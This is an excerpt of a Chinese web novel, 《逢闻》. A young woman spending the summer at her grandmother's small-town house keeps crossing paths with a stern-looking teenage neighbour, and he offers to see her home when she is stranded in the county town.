《逢闻》 1. 明水镇 《逢闻》全本免费阅读 落日熔金,天幕渐沉。 姜逢晚终于来到了明水镇。 她穿着天蓝色背带裙,斜挎吉他包,一手提起脚边的行李袋,匆匆从后座来到客车前面。 “师傅,刘家酒楼下。” 女孩的声音柔和干净,一些昏昏欲睡的乘客被吸引注意,不由自主抬起头,只瞧见一个纤细的身影,看不清面容。 大约过了十几秒,客车停下,陌生的街景不再往前移动。 姜逢晚走下车,来到一根老旧的电线杆旁边,头顶是大片大片的晚霞,一望无际,五彩缤纷。 记得小时候,她经常跟着爸爸妈妈一起来明水镇跨年,后来因为他们工作忙便很少回来了。 上一次来这里还是她15岁的时候。 如今已经三年过去了。 独自感慨一番,姜逢晚重新鼓起笑容,往记忆里奶奶的家的方向走去。 她边走边回忆,水灵灵的眼睛里充满了好奇。 整条街种满了桂花树,一眼望过去,房子修得不高只有三层,洋灰地到处都是坑坑洼洼,路边停放着几辆老式摩托车。 街边没有大型超市,只有两家小卖部以及一个银行,连饭店都很少。 一种不属于城市的宁静扑面而来。 走到转角处,姜逢晚右拐进一条小巷,穿过这个巷子便是奶奶家了。 巷子一边是房子,一边是围墙。 墙外一排水杉长得葱郁高挺,看着越来越熟悉的场景,姜逢晚心情都好了几分。 正当她准备拿出手机拍几张水杉树的照片时,背后突然传来一阵窸窸窣窣的声音。 像是无数被压瘪的瓶子贴着地面移动而传来的嘈杂摩擦声。 声音由远及近,越来越明显。 夕阳落入山头,暮色已沉,姜逢晚转身回头,看见小巷的尽头走来一个少年。 一个拖着巨大蛇皮袋的少年。 那人五官锋利,浓眉黑发,眼睛凶得不像话。 和少年对上视线的下一秒姜逢晚立刻低下头。 周遭静悄悄的,似乎连风声都听不到。 她转过身,拉紧吉他包,快速往巷子另一端走去。 但不管她走得多快,身后那塑料瓶划过地面的摩擦声总不断传入她耳畔,一直没消失。 想起那人冰冷的眼神,姜逢晚脸都被吓白了。 他为什么要那么凶地看着她? 路面本就不平,女孩走得太急一不小心摔在了地上,疼得嘴角抿直。 姜逢晚慌忙查看吉他包有没有破损,幸好没有。 身后的声音逐渐近了,不止摩擦声还有脚步声,一道长长的影子闯入她眼帘,吓人得紧。 姜逢晚忍着疼痛,看也不敢往后看一眼就匆忙逃走。 终于出了小巷,姜逢晚深呼吸缓口气。 下一秒,一道苍老的声音从前方传来:“缝缝,你回来了啊。” 姜逢晚抬头,是姜奶奶站在门口桂花树下,脸上笑容慈祥。 她摔得不重,痛感早已减轻,女孩小跑过去,眉眼露出笑意,甜甜地喊道:“奶奶,我回来了。” “都长这么高了?”姜奶奶拉着她的胳膊左右看,“瘦了,要多吃点饭。” 姜逢晚弯唇:“会的。” “你背的这是什么?” “吉他,妈妈给我买的,说是奖励。” 镇上很安静,姜逢晚四处望了望,只瞧见几个老人和小孩的身影。 明水镇大部分人都出去打工挣钱了,过年才会回来,这里离主城很远,从榆溪北站坐火车再转两趟客车才能到。 门口卷帘门没拉到顶,留了三分之一在外面,里头没开灯,放的东西不多,显得有些空荡。 姜逢晚跟着奶奶走进去,问道:“爷爷呢?” 姜奶奶从柜子上拿出一个系着红绳的钥匙放到她手里:“还在外面下棋,不到饭点都不得回来。” 又塞来一个苹果,语气熟稔:“楼上我把铺收拾好了的,你去看合适不合适。” 姜逢晚点头:“好。” 一楼有两道门,前门和后门,前门是她刚进来的大门,后门则可以直接进巷子。 此时后门半开着,横在过道中间,根本进不去楼梯。 姜逢晚将红绳挂在手腕上,放下行李袋和苹果,伸手去推后门。 等合拢后,她发现居然关不上,门一拉就开了。 楼道声控灯用的钨丝灯泡,不是很亮,光线暗黄,隔一会儿就没了。 姜逢晚踩了踩地,然后将老式防盗门锁上面的拉手放下来,这下门彻底关好了。 她拍拍手,刚准备去拿行李袋,门外突然传来两道敲门声,不重,反倒很清脆,不像是爷爷。 “谁呀?”姜逢晚眨了眨眼,莫名感觉自己胆子都小了。 尤其这时声控灯又不亮了,过道非常暗,她下意识握紧手心。 记忆里后门的钥匙好像丢了,她从来没有看见过奶奶从后门开锁,所以外面那人应该不能打开门吧。 姜逢晚再次问道,声音细小:“是有事吗?” 周遭寂静,门外的人终于发出声音。 “回家。” 那人吐出两个字,嗓音纯净磁性,有些低沉,像是玉石敲击,又似潺潺流水,极为好听。 但回家?这栋楼不都是她们家的吗? 犹豫再三,姜逢晚小心翼翼打开门,外面夕阳落了一地橘黄。 她抬眼,再次看到了那个穿着黑色短袖的凶恶少年。 这次的距离格外近,她甚至能看见他漆黑的瞳仁,深邃神秘,透着不加掩饰的冰冷感,有些让人喘不过气,像被魔鬼盯上了一样。 身材挺拔站得笔直,神情凉薄而寡淡,明明是一个浓眉黑发的少年,却让人不敢看上第二眼。 即便与她撞上目光,视线依然很平静,似乎什么也不放在心上。 但下一秒,他眼角开始收敛,眉弓鼓起,眸似一点漆,带来的压迫感非常浓重。 好凶! 姜逢晚退后两步,呆呆地站在原地。 那个少年径直推开门走进来,没看她直接拐上楼梯,原本拖着的蛇皮袋早已不知所踪。 他似乎对这楼道格外熟悉,脚步未停,从头到尾都没发出过大的声音,走得很快。 姜逢晚迟疑地往上看,却什么都没看见,只有一道细微的关门声昭示着刚刚确实有人上去了。 难道奶奶把三楼租出去了? 敛下心思,姜逢晚悄悄合上后门,同时把拉手放上去了。 她提起行李袋和苹果,踩了踩地,等灯亮起来后才走上楼梯。 打开门,映入眼帘的是陌生而熟悉的客厅。 穿过客厅,过道左方全是窗户,右方是两个房间,姜逢晚来到最里面的房间,奶奶已经将铺盖和床单收拾好了。 淡黄色的窗帘未合拢,余晖落了进来。 微风透过半开的窗子吹进来,姜逢晚打开木质衣柜,里面放着几件她小时候穿的衣服。 床上垫了凉席,落地式风扇就在旁边,衣架上还挂着她小时候爱玩的贝壳风铃。 看着这一切,姜逢晚终于有种心落到实处的感觉。 她将行李袋打开,里面装着几件衣服、几本书,这年夏天她刚高考结束,打算在奶奶家待两个月。 榆溪市的夏天是出了名的热,七月份就已经高达三十几度,气候炎热非常难耐。 “叮。”手机发出提示音。 姜逢晚翻开微信,是好友 2. 天台 《逢闻》全本免费阅读 吃完饭后,姜逢晚主动把碗筷洗了。 在二楼收拾好东西,已经七点过了。 夜幕降临,星星点点的微光从天空洒进小镇,一轮弯月挂在上面好看得不像话,十分明净。 街上吹来的晚风很是凉爽,仿佛又回到记忆里那个坐在池塘边摘荷叶乘凉的夏天。 姜逢晚从屋里搬出一个小凳子坐到姜奶奶旁边,安静地咬着苹果,顺便听听她和几个年龄差不多大的老人说话。 “这小姑娘叫什么名字啊?” 一个摇着蒲扇的老爷爷问,长相清瘦,里头穿着白色背心,外搭短袖开衫。 “这是小姜的女儿,大名姜逢晚,小名缝缝,今年还考上了绥安大学。”姜奶奶笑着回答,表情有些炫耀的意味,不过很可爱。 周围瞬间吵吵闹闹的,大家对成绩优异的学生带着天然的好感度,都在夸她。 林爷爷看向姜逢晚,眼神柔和慈祥。 他问:“今年多大了?” “刚满18。” 姜逢晚没再咬苹果,坐姿乖巧,眼睛像颗黑葡萄。 听见这话,林爷爷摇了摇蒲扇,对姜奶奶道:“那比小闻要大半岁。” 姜奶奶点头:“是的。” 女孩在喧闹中低头保持安静,他们也逐渐将话题扯到其他事情上。 一个老人开口问:“你家外孙现在还在长没有?他也太高了吧。” 林爷爷放下蒲扇,喝了口搪瓷杯里的蜂蜜水:“还在长。” “我跟他讲了的,每天晚上要喝一盒纯牛奶,这个年龄要补充营养,要多吃肉。” “那他听你的吗?” 林爷爷点头,笑而不语。 一道声音横穿进来:“老林,那不是你家褚闻吗?这么晚了还出去打篮球啊?果然长得高。” 原本低着头、默默咬苹果的姜逢晚被这句话吸引注意。 刚抬头,就瞧见一套熟悉的穿搭迎面而来,气质冷然。 对方指尖撑着掉皮的篮球,手臂白净瘦长,线条利落,上面带着一只黑色机械手表。 原来他叫褚闻。 在即将撞上男生的目光前,姜逢晚先一步垂下头,长睫快速闪了几下,像扑翅的蝴蝶。 身高腿长的少年走过来,脚步声过分清晰。 姜逢晚能清楚地察觉到,有一道深刻的男性气息在逼近,她不争气地抬眸看了一眼。 果然是他。 那个很凶的少年叫褚闻。 而且就站在她对面。 意识到这一点,姜逢晚顿时坐直。 抿了抿唇,忽然觉得如芒在背,反应过来才听见林爷爷在同她说话。 “缝缝,这就是我的外孙,比你要小点,马上读高三。” 姜逢晚不得不抬起头,视线落在某处不知名的角落,头对着男生站的方向点了点:“嗯嗯。” 慌忙间,她听到那个在她面前极其冷漠的男生,用平和的声线喊了一句“外公,我先上楼了”。 “这小子。”林爷爷重新拿起蒲扇,没再说什么。 他走了,姜逢晚这才得以抬起头,连看对方的背影都不敢。 她不算外向的性子,和人相处也总是慢吞吞的,胆子时大时小,隔了很久才会主动亲近别人。 而今天这个曾三次遇见的、名字叫褚闻的男生,是她从第一眼就认为危险、不可靠近的人。 在下面待了差不多半小时,原本聚在一堆的老人只剩下零星几个。 风卷着树叶落到她的脚边,姜逢晚站起身将苹果核扔进垃圾桶,背带裙跟着转了个圈。 身后林爷爷对她说:“缝缝,我们家就住在楼上,有空上来玩。” 她浅浅点头,嘴上说好。 正巧下完象棋的爷爷回来了,奶奶也准备关门上楼睡觉。 姜逢晚余光看见那个爷爷走进巷子里,手上蒲扇不停。 飞蝇扑到路灯上,老人的身形渐远。 她问奶奶:“这么早就睡觉了吗?才八点钟。” 姜奶奶拍了拍她的肩:“八点不早了。” 姜逢晚回想了一下这个时间点她在学校干什么。 哦,还在上第一节晚自习,再过十分钟就下课了。 走上楼梯,女孩眼神飘忽,随口问:“奶奶,他们租的三楼吗?什么时候租的呀?” “不是三楼,是顶楼,”姜奶奶踩了踩地,灯泡顺势亮起来,“租了好像有两年了。” 直到躺在床上,姜逢晚都还没反应过来。 顶楼? 她记得那里面连瓷砖都没贴,只有两个不大的房间,窗户都没有,冬天冷夏天热,他们为什么要住那里呀? 懵懵发呆间,爷爷的声音从隔壁传来,隔着一堵墙。 “缝缝,晚上睡起热不热?热的话要开风扇。” “不热。” 奶奶的声音也传来:“缝缝要早点睡哦,明早我们一起去走路好不好?锻炼身体。” “!”姜逢晚问,“几点钟?” “六点。” “好……吧” 穿着碎花睡裙的女孩叹了口气,将那本《零基础学吉他弹唱》合上,爬起来关了房间里的灯。 本来以为要等很久才能彻底睡着,但周围实在太过静谧,天空高高黑黑的。 夜色从未关的窗子坠落进来,外面空无一人。 这里拥有与城市不同的安静,天黑得让人很想早点睡觉。 于是她慢慢闭上了眼睛,陷入梦境。 ** 一大早,在奶奶的敲门声中,姜逢晚醒了过来。 没想到昨天居然真的不到九点就睡着了,这是以前从未发生过的事,她上高中后基本都十二点睡。 “缝缝,起床了吗?” 姜逢晚应了声,穿好衣服走到门口,揉了揉眼睛,这个点起来还是太早了。 “走吧。” 爷爷没有去,他说要再睡会儿,养足精神才好下象棋,昨天就是因为太困了才输了。 于是只有姜奶奶和姜逢晚出门。 黎明的色调偏淡,万物尚在沉睡,露水混合草木的气息被嗅进鼻尖,风扑面而来,微凉湿润。 空气十分清新,人也逐渐清醒过来。 爬过长长的上坡后,走到平地,姜逢晚指着远处的小河边,目光近乎温柔:“奶奶,你看那儿。” 彼时一轮红日挂在天际,天亮得很早,水稻在晨风中摇曳起舞,两棵高大的白杨树坐落在矮房前。 满世界的绿,满世界的生机。 她们走在环山公路上,身前身后都有同样散着步的人,或老人或小孩,愉快的氛围令人艳羡。 姜逢晚扬着嘴笑,心情愈加的好,心觉早上出来散步其实也蛮不错的。 就像奶奶说的那样——呼吸新鲜空气! 张开双手,女孩迎着朝阳走,整个人融在柔和的微风里。 走了差不多一个小时,完成闭圈回到家里。 “缝缝,今天早饭吃面条还是吃包子?”姜奶奶问。 “面条。” “嗯,那你去顶楼摘些葱子下来好不好?楼下没有了。” “好的,这就去。” 姜逢晚点头,走上楼梯后,她沉溺在欢愉中的脑袋想起了另一件事。 褚闻和林爷爷就住在顶楼。 不过现在才七点多,他们应该还没起来吧。 想着想着,姜逢晚的脚步越加轻了,一转眼就来到顶楼。 左边一个房间开着门,右边一个房间同样开着门。 姜逢晚不敢四处张望,小心翼翼地推开天台的门。 明水镇真的给她带来了很多不一样的体验。 女孩越往前走,越加吃惊。 天台左边搭了一个超大的木架子,上面挂着沉甸甸的数不清的葡萄,很长一串宛如碧玉,颗颗饱满。 浓密的绿叶爬满整个葡萄架,底下放着一张原木桌和两把椅子,四周挂着几个小篮子。 葡萄叶枝叶繁茂,坐在下面正好能庇荫,而且想吃葡萄伸手就能摘。 旁边的空地则圈出很大一块地种菜,小白菜、油麦菜、青辣椒、红辣椒、小番茄、黄瓜、茄子、豇豆…… 姜逢晚不由得微张嘴,这比她理想中的菜园还要完美。 3. 菜园 《逢闻》全本免费阅读 阳光穿透云层,光亮被尽情挥洒到街面上,一个老人正在桂花树下打太极,姿势瞧着有模有样的。 再定睛一看,原来是穿着花衬衫的姜爷爷。 路过的行人纷纷朝他打招呼。 这个镇子里的人相互都熟悉,哪家有话哪家谈,聚一堆来打把牌,关系自然亲了,谁的名字都知道。 屋里水烧开的声音传来,彼时姜奶奶正在下面条,姜逢晚把小葱放到菜板上,看见铁锅里冒出很多小气泡。 洗完手后,她问:“奶奶,天台的葡萄架是林爷爷他们家的吗?” 姜奶奶点头,洗菜切小葱:“是的,好像是前年修的,去年他还给我们拿了很多葡萄,又大又甜。” “那菜园也是他们的?种了很多菜。”姜逢晚的声音渐渐小了。 “楼上都是他家种的,林爷爷人好,什么都肯给我们拿。” “嗯。”姜逢晚黑眼珠子转了转,指着菜板上被切好的小葱,悄咪咪问,“那这个呢?” “也是他们的呀。”姜奶奶脸上漾开笑。 姜逢晚不敢问话了。 吃面的时候一直保持安静,姜爷爷侧头看了好几眼,问她:“缝缝,你脸怎么红了,是发烧了吗?” 姜逢晚摇了摇头:“没有。”说话声不大,闷闷的。 还没吃完煎蛋,门外突然走来一个人影,是褚闻。 他手里提着一个篮子,从前门进的,朝阳的光落在他身后,少年身姿优越,眉目疏离。 “小闻来了?”姜爷爷说。 “姜爷爷、姜奶奶好,”褚闻弯腰将篮子递来,语气礼貌,“这是我外公刚刚摘的一些菜。” 姜奶奶接过,面容和蔼:“麻烦你了,吃饭没有,坐下来吃点饭?” “吃了。”褚闻回。 姜奶奶站起身从柜子上拿了几个红苹果:“这苹果好吃,你拿回去多吃点,补充水分。” 顿了一秒,褚闻双手接过苹果:“谢谢姜奶奶。” “没事。” 褚闻没停留,再次道谢后往门外走。 “缝缝,你吃饭怎么脸埋碗里呀?”姜奶奶的声音从头顶意外响起。 姜逢晚缓缓抬头,耳尖滚烫,僵着脖子道:“没、没有。” 那一瞬间,她宁愿自己是个哑巴。 ——【粥粥,呜呜呜,我刚刚出糗事了。】 ——【那个很凶的男生住在我家顶楼,今天早上我上去摘葱,没忍住拍了几张他们的菜园,然后被他发现了,而且我录的视频把他也拍进去了。】 ——【我当时脑袋what了,居然说:“我不是偷菜贼。”】 ——【怎么办,这根本避不开!而且我和他对上眼神就害怕!】 ——【他长得可凶了!我从来没有遇见过这样的人!又凶又冷!】 姜逢晚一连发了好几条信息过去,心觉真是尴尬得要命。 想起初见时那人冷冰冰的眼神,她心跳都不由得慢了一拍。 怎么能有那么凶的人? 他为什么要那么凶地看着她?! 今天早上在天台的时候,他走过来时眉头都是紧皱的,肯定对她烦不胜烦。 是不是因为她吵醒他了?可她分明不是故意的,而且脚步已经放得很轻了。 姜逢晚往后一倒栽在床上,望着天花板。 “叮!”手机发出提示音。 姜逢晚生无可恋地翻开微信,是妈妈发来的信息,她顿时振作起来。 ——【缝缝,在奶奶那边住得还好吗?晚上睡觉有没有蚊子?】 ——【很好,挂了蚊帐的,没有蚊子。】 ——【那就好,你安心在那里耍两个月,我下个月就回来了,到时候给你带礼物。】 ——【谢谢妈妈。(爱心)】 ——【吉他练得怎么样?一天别练久了,听到没?】 ——【嗯嗯好的。】 回完信息,姜逢晚从床上爬起来,打开黑色吉他包,里面装着41寸的原木色缺角木吉他。 她取出来轻轻拨动琴弦,安静的房间内顿时传来清亮的吉他声。 拿出《零基础学吉他弹唱》,女孩专注地看起来,时不时拨动几下琴弦,半懵半懂。 很快,她已经忘了天台那个小插曲。 “缝缝,下来吃水果。” 楼梯间忽地传来姜奶奶的声音。 “来了。” 姜逢晚跑下去,从盘子里拿了一个梨子,跟在奶奶身后往前走。 一楼放着折叠竹木床,对折后靠墙就变成了长椅,坐在上面很凉快,只是有时候会被夹住头发。 林爷爷坐在上面,手上依旧拿着蒲扇,眉目祥和。 “林爷爷好。” 姜逢晚坐到长椅的另一端,尝了口:“真甜。” 姜奶奶走过来,说道:“这是你林爷爷从老家带来的梨子,没有打农药,多吃点。” “谢谢林爷爷。” 姜奶奶忽地朝门外喊:“小闻,你也过来吃梨子,洗好了的。” 只剩下一个果核在手中的姜逢晚听到这句话。 登时站也不是坐也不是,最后索性藏在手心里。 褚闻过来了。 清楚地认识到这点,姜逢晚又想逃了,偏偏不能逃,还得认认真真坐在这里听他们讲话。 “外公。” “谢谢姜奶奶。” “不用谢。” 好吧,姜逢晚承认——她又想起了天台发生的事。 不过没关系,那根本不是事,没人会在意的,也不是特别尴尬,所以根本不必在意。 说服自己后,一道汽车飞逝而过的声音突然响起,闹轰轰的响。 姜逢晚只来得及看见车身的残影,她收回望向门外的目光,然后瞥了一眼刚进来的男生。 褚闻后背靠着高大的木质方柜,书包看着很沉,不知道里面装着什么。 白净的额头没有刘海遮挡,就直直地站在那儿,裸露在外的小腿又长又白。 不怎么爱说话,眉毛浓密,双眼狭长,看着有些生人勿近。 他骨节分明的左手扯掉白色耳机线的一只,抬眸轻轻扫过来一眼,与偷偷观察他的姜逢晚对上视线。 女孩一惊,顿时低下头,呼吸声重了些,眼睫毛不停眨呀眨。 过了一会儿又忽地站起身去扔果核,装作若无其事的样子,慢慢走回竹木椅,安静乖巧地坐着。 两手放在身前,听着林爷爷和姜奶奶说话,闷着声不开 4. 去县城 《逢闻》全本免费阅读 门外桂花树的叶子簌簌作响,姜逢晚背靠长椅,头发突然被竹片细缝扯落一根,不算疼她便没在意。 此时下午三点左右,外面天光明亮,深蓝色的天空上出现了一道拱形彩虹。 这还是姜逢晚第一次亲眼看见彩虹。 模样如它名字一样美好。 她走出门,着一袭温柔风的仙女裙,外面套了件米色开衫,被风隐隐吹起裙角。 女孩长发披在肩后,额间搭着空气刘海,耳边戴着一个山茶花珍珠发夹。 扑面而来的漂亮,令人一眼惊艳。 她肤色细腻极白,手臂像玉石一样嫩滑,颈脖纤细又长,整个人精致如画,难怪陈笑圆唤她漂亮姐姐。 “缝缝,外面天气很好,要不要去县城逛逛?” “坐客车四十分钟就到了。” 姜逢晚思考了一下,随后点头:“好呀!” “奶奶你要去吗?”她问。 姜奶奶从屋里走出来,摇头道:“我晕车,就不去凑热闹了。” 闻言,女孩的睫毛动了动。 姜爷爷每天下午都要出门去找老队员下象棋,这已经成为众所周知的事情了。 姜爷爷是个棋迷,按照他的话说——“我一天不下心里过不得,饭都吃不下去!” 所以姜爷爷应该也不会去。 还没想好要不要去,就见姜奶奶拉着她的手:“缝缝,你可以去逛逛,县城有很多好吃的好玩的,比镇上热闹多了。” “嗯。”姜逢晚同意了。 说时迟那时快,一辆通往县城的客车忽如其来,发出轰轰声。 姜奶奶连忙走出去挥了挥手,喊道:“这里还有人要上去!” 客车停下,姜逢晚被姜奶奶拉过去,推上车。 “6点半前记得上车回来哟,再晚点就没有车了。” 女孩说好。 姜奶奶从口袋里拿出五十块塞进她手里,笑着挥挥手:“缝缝,注意安全。” 客车上面的人不是很多,司机大叔淳朴面善,姜逢晚来到窗边坐下,附近几个位子都没有人。 她透过窗子往后看了一眼,没有看到姜奶奶的身影。 张开手,一张五十元摊在手中,女孩眼睛像月牙儿般弯起。 她身上没有口袋,只能卷起来捏着。 明水镇到处都种着桂花树,风景秀美雅致,有时候还能看见几座山连着山,一条河流贯穿整个小镇,潺潺流水清澈见底。 偶尔能看见几座通往山林的木桥,林间坐落几户人家,门前竹子高挺,鸡鸭成群。 姜逢晚拿出手机对着窗外拍了张,一路都在悠闲看风景。 四十分钟过去,客车不再往前移动,姜逢晚扫了二维码付了钱。 外面艳阳高照,人头攒动。 吆喝声、炒菜声、说话声……各种声音杂糅在一起,确实比明水镇热闹许多。 穿着漂亮裙子的女生走进城楼下的桥洞里,车辆熙攘而行,风驰电掣,大部分是摩托车。 隧道灯照亮远处,迎面走来几个背应季水果卖的老人,竹筐老旧。 甚至还看见十几个拿着古风扇子的中年大妈,她们一身红色渐变表演服,脸上喜气洋溢,精气神十足,谈话声豪迈嗓门也大。 姜逢晚的心情也被带动得兴奋起来。 因为快乐是会传染人的。 不知不觉间,她走到一家名字叫“两元店”的商铺前。 店内有很多顾客在挑选东西,面积比其他地方要大些,门口柜台处摆放着很多根红绳,两个店员正忙着算账。 她好奇地走进去,一下子就被货架上琳琅满目的商品吸引注意。 尤其价格,更是让她爱不释手。 姜逢晚拿起一个小篮子边看边挑,嘴角的弧度越发大了。 笔袋两元,买。 本子一元,买。 星星纸,买。 多色按动笔,买。 十块钱的帽子,买。 小闹钟,买。 …… 大概过了一个多小时,姜逢晚终于走到收银台结账。 小篮子几乎装满了,最上面堆着密密麻麻的发绳和发夹。 她甚至还买了一个帆布包,外面印着粉色可爱娃娃,内置拉链,布料也不薄,才十块钱。 一结账,加起来足足有一百零九? 姜逢晚摸了摸鼻子,心想怎么这么贵,应该是数量堆上去了吧。 付完钱,姜逢晚没要袋子,直接将所有东西倒进帆布包里,顺便把那五十块也装进去了。 装在新买的小钱包里。 “美女,等一下。”有人喊住姜逢晚。 她回头,店员递来一根红绳:“这是送你的礼物,好运连连。” 姜逢晚接过后道了声谢。 打开手机,现在才五点二十七,还能再逛半个多小时。 红绳偏细,两头坠着白色小珠子,中间是幸运草,姜逢晚穿过人群来到路灯下,天边是一望无际的粉紫色晚霞。 长空灿烂,美不胜收。 附近有家女装店门口放了音响,她听着一句“穿梭时间的画面的钟”,将红绳戴在左手上,唇角绽放一抹浅笑,嫣然生辉。 五点半,县城的高中生放学了。 穿着蓝白色校服的同学从校门口鱼贯而出,走在白色斑马路线上,声音嘈杂,好不热闹。 抬头望去,姜逢晚在层层叠叠的人群中发现一抹高大笔挺的身影,心跳慢了半拍。 那个男生没看见她,而她却是一眼望见他。 他在一群人中格外显眼,眼中情绪淡漠似水,背影孤傲如松柏,气质斐然。 身后有个微胖的白净男生追上来跟他说话,他侧头后脑勺优越,下颌线清晰深刻。 褚闻只对那个人说了一句话,匆匆收回视线 5. 安淡书店 《逢闻》全本免费阅读 “六点半没有车吗?”姜逢晚问。 “早就调整时间了,”阿姨看向她,说出口的话像往她心里插刀子,“现在最晚的一趟都是五点四十。” 五点四十她在干什么,姜逢晚回想了一下,那时她刚踏进书店的门。 懊悔、苦恼的情绪在心间蔓延,姜逢晚连忙问:“那回明水镇的车还有吗?私家车也行?” 阿姨摇了摇头,带着歉意道:“小妹妹,不好意思我也不知道,你去问问别人嘛。” “谢谢阿姨。” 没犹豫,姜逢晚往刚刚阿姨指的方向跑去。 客运站果然下班了,窗口根本没有人,附近只有一个穿着保安服的男人。 “叔叔,明天回明水镇的车最早是几点?” 保安说六点。 姜逢晚点头继续问道:“那您知道…有没有回明水镇的私家车?” “我晓的。” 姜逢晚心中一喜:“他们的联系方式有吗?” 保安人很好,立刻拿出手机翻联系人,拨通电话前对她讲:“我帮你问一下。” 姜逢晚点头说好。 拨通电话,对面的声音姜逢晚没听见,保安边打电话边对她说:“他今天九点才会到县城,你着不着急?” “着急。” 就见保安说:“他说可以,到时候给你预留一个位置。不过晚上的车钱比白天要贵点,毕竟这么晚了。” “没事谢谢叔叔,我能留个司机的电话吗?” “可以。” 姜逢晚再次道谢,拨通电话和司机聊,确定好晚上九点二十出发,车费三十。 和司机说完后,姜逢晚又拨通奶奶的手机,跟保安叔叔挥了挥手往外走。 “奶奶,我晚上才能回来了。” “客车时间变了,最晚的一趟是五点四十。” “然后我跟私家车师傅联系了,大概九点五十到明水。” 最初奶奶还很担忧,听到已经联系了私家车这才放心。 “那缝缝你先去找家饭店把晚饭吃了,在外面注意安全,别去人少的地方……” 挂完电话,姜逢晚垂下眼皮思考,她现在还不饿,一时走在街道上也不知道该去哪。 最后竟莫名逛到之前去的那家书店。 门口挂着木牌写着四个字——“安淡书店”。 姜逢晚背着帆布包走进去。 店内没什么人,褚闻正低着头坐在电脑前面,他做题时那么专注,神情都沉静下来,没有一丝危险感。 姜逢晚没敢多看,径直走到斜对面的沙发坐下。 她抬头看了一眼褚闻,他还没发现她。 女孩点开手机屏幕,电量还有不到百分之二十,叹息。 想了想,又忽地拿出之前买来但没送出去的手帕纸。 她又看了一眼褚闻。 但他还是没发现她。 姜逢晚从旁边的书架取下一本书,书名叫《万物可期,人间值得》,作者汪曾祺。 她坐在沙发上,心情逐渐平静下来。 “玉渊潭的槐花落了。” 刚看到这句话,店外突然响起一道很重的脚步声,让她从书中的世界瞬间惊醒。 一睁眼,褚闻在看她。 姜逢晚忙不迭转过头。 走进书店的是一个穿着时尚的女士,高跟鞋踩在地板上铮亮作响。 她问初一的资料在哪里,褚闻指了指方向。 没过一会儿,女士拿了几本书过来结账,顺便好奇地打量了一下褚闻和姜逢晚。 人走后,男生的目光落到沙发边坐着的女孩身上。 他看了她一眼,没说什么,只是低下头。 咬紧唇,姜逢晚站起身朝褚闻走去,磕磕巴巴道:“今天谢谢你。” 她将手帕纸放到柜台上,低语:“这是还你的纸。” 正当姜逢晚以为他不会回答的时候,褚闻忽然抬起头,直直看向她:“不用了,但你别对我外公说。” 说什么? 难道是他在书店兼职的事? 话说他们为什么五点半就能放学呀! “嗯。”女生轻轻回答。 “你们几点钟关门?” “十点半。” “好的。” 姜逢晚默默走回沙发,只是刚一坐下,男生的声音再次传来,吓得她心一紧。 “你的纸。” “哦哦。”姜逢晚跑过去。 离得近,她发现褚闻原来在做英语卷子。 是阅读理解,只不过后面两个题都做了,前面两个却没填。 她不由得在柜前站了会儿,褚闻还没动笔看下一篇。 姜逢晚抿了抿唇,开口道:“褚闻,我能打扰你一下吗?” 这是她第一次亲口喊他的名字,说出口其实还蛮容易的,不像她想象中忐忑。 褚闻抬头,长眉凉薄:“什么事?” “一篇阅读不能超过七分钟,你可以先把这题做个记号,勾一个选项,放到后面再来看。”姜逢晚鼓起勇气说完整句话。 外公似乎说她成绩很好,褚闻突然想起这件事。 他看着她,女生的目光坚定而明晰。 褚闻微点头:“谢了。” 而后照着她的话快速浏览下一篇。 姜逢晚拿起书和手帕纸回到沙发,后背靠着墙,神色恬静。 书店里的音乐恰好播放到一首英文歌曲,她眼睫颤了颤,忍住想抬头的举动。 书页翻动的声音逐渐响起,白墙上的时钟不断画着圈。 肚子饿了。 这个念头起的时候,姜逢晚才意识到原来她已经待在这里很久了。 女孩将汪老先生的书放回原位,提着帆布包出门。 外面夜色渐起,天幕已黑,霓虹灯闪着五光十色,熟悉的场景到来。 在外面逛不如待在书店舒适,她买了两个面包又走回书店。 褚闻还在那儿做题,一直没休息,看见她进来也只掀了掀眼皮。 姜逢晚主动将面包递过去:“给你。你还没吃晚饭吧?” 褚闻摇头,薄唇落下一句:“不用。” 姜逢晚干脆将面包留下,自己一个人跑了。 回到黑色皮质沙发,她拍了拍自己的胸口,心想。 ——他是林爷爷的外孙,林爷爷经常给她们送蔬菜水果。 ——而且她在这里待了这么久,他也没说什么,所以她理应回一个面包过去。 这极为正常。 忘了买水,姜逢晚又匆忙跑出去。 再次回来时,沙发上多了一个红苹果和一个面包。 面包是她的,红苹果长得有点像她家的。 姜逢晚愣了愣,这该怎么办? 叹 6. 送她回家 《逢闻》全本免费阅读 女孩语气低微,模样看着有些可怜兮兮。 褚闻合上书本:“你说?” “你知道镇上其他私家车的电话吗?我想回明水镇了。” 她像一朵焉了的娇花。 褚闻扫了眼时钟,现在指向八点四十五。 “这个时间没有回明水镇的车了。” 姜逢晚今天碰见的那辆纯属凑巧,以往晚上都是没有私家车肯回明水镇的,结果却堵半路了。 好运又倒霉,他不禁这样想。 然而女孩的眼里却是瞬间冒了水光,一滴晶莹从眼角坠落,哭得梨花带雨,好不令人怜惜。 褚闻懵了。 她怎么哭了? 随后扯出几张纸大步走来,长手落在她眼前,动作僵硬:“擦擦。” 姜逢晚睁眼看他,睫毛上的泪珠半掉不掉,鼻尖微红,欲语泪先流。 喊着哭腔道:“不好意思,我泪失禁体质,有点忍不住。” 褚闻挠了挠头发,一时没说话。 “你今天一定要回去吗?”他问。 陷在哭泣中的姜逢晚看起来脑袋有些笨。 ——如果明天回去今晚必须住酒店,而住酒店意味着需要身份证。 ——当然也有小旅馆,但她不清楚小旅馆需不需要身份证,应该也是要的吧。 明水镇通往县城的车票不需要用身份证购买,同样县城回来也不需要,路上直接上车给钱就行。 女孩清凌凌的眼睛直直望着他,那般澄澈。 “好了,你别哭了,我有办法。”褚闻终是说道。 “真的吗?”姜逢晚接过他递来的纸巾,不小心触碰他指尖,温柔触感顺势淌进她心间。 “嗯,”褚闻收回手,说,“你等一下,我出去打个电话。” 少年大步走向门外,从裤子兜里掏出老年机,站在玻璃窗外,眉眼疏离,身形落拓。 “安姐,我今晚能不能早点下班?” “送人。” “好的,谢谢安姐。” 挂掉电话,褚闻走进来,站在姜逢晚面前,少年比她高出一截。 一听他有办法,女孩果真没继续哭了,只是眼角还泛着薄红。 褚闻从未看见过一个人哭得这般柔弱,掉眼泪跟掉珍珠似的。 但不惹人烦。 姜逢晚正等着褚闻的后话,结果他什么都没说,直接关了书店里大部分灯。 视野一下子昏暗,只剩下几盏暖黄小灯。 周围披上一层夜色,透着朦胧的美,姜逢晚惊讶地喊:“你做什么?” “送你回家。” 